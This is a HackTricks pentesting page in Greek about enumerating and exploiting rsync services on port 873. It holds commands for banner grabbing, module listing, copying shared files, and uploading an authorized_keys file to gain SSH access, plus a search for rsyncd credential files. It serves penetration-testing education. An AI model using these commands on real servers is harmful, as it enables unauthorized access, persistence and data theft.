873 - Pentesting Rsync
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Από wikipedia:
rsync είναι ένα εργαλείο για την αποδοτική μεταφορά και συγχρονισμό αρχείων μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και σε δικτυωμένους υπολογιστές συγκρίνοντας τους χρόνους τροποποίησης και τα μεγέθη των αρχείων.[3] Βρίσκεται συνήθως σε Unix-like λειτουργικά συστήματα. Ο αλγόριθμος rsync είναι ένας τύπος delta encoding και χρησιμοποιείται για τη μείωση της χρήσης δικτύου. Zlib μπορεί να χρησιμοποιηθεί για επιπλέον συμπίεση δεδομένων,[3] και SSH ή stunnel μπορεί να χρησιμοποιηθεί για ασφάλεια.
Προεπιλεγμένη θύρα: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Αριθμητική
Μπανέρ & Χειροκίνητη επικοινωνία
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Καταμέτρηση Κοινών Φακέλων
Τα modules Rsync αναγνωρίζονται ως κοινές καταλόγοι που μπορεί να είναι προστατευμένοι με κωδικούς πρόσβασης. Για να εντοπιστούν τα διαθέσιμα modules και να ελεγχθεί αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι εξής εντολές:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Να είστε προσεκτικοί ότι ορισμένες κοινές χρήσεις μπορεί να μην εμφανίζονται στη λίστα, πιθανώς κρύβοντάς τις. Επιπλέον, η πρόσβαση σε ορισμένες κοινές χρήσεις μπορεί να περιορίζεται σε συγκεκριμένα credentials, όπως υποδεικνύεται από ένα μήνυμα "Access Denied".
Brute Force
Χειροκίνητη Χρήση Rsync
Αφού αποκτήσετε μια λίστα μονάδων, οι ενέργειες εξαρτώνται από το αν απαιτείται αυθεντικοποίηση. Χωρίς αυθεντικοποίηση, η καταγραφή και η αντιγραφή αρχείων από έναν κοινόχρηστο φάκελο σε έναν τοπικό κατάλογο επιτυγχάνεται μέσω:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Αυτή η διαδικασία μεταφέρει αρχεία αναδρομικά, διατηρώντας τα χαρακτηριστικά και τις άδειές τους.
Με διαπιστευτήρια, η καταγραφή και η λήψη από έναν κοινόχρηστο φάκελο μπορεί να γίνει ως εξής, όπου θα εμφανιστεί μια προτροπή για κωδικό πρόσβασης:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Για να ανεβάσετε περιεχόμενο, όπως ένα authorized_keys αρχείο για πρόσβαση, χρησιμοποιήστε:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Για να εντοπίσετε το αρχείο ρυθμίσεων rsyncd, εκτελέστε:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Μέσα σε αυτό το αρχείο, μια παράμετρος secrets file μπορεί να δείχνει σε ένα αρχείο που περιέχει ονόματα χρηστών και κωδικούς πρόσβασης για την αυθεντικοποίηση rsyncd.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.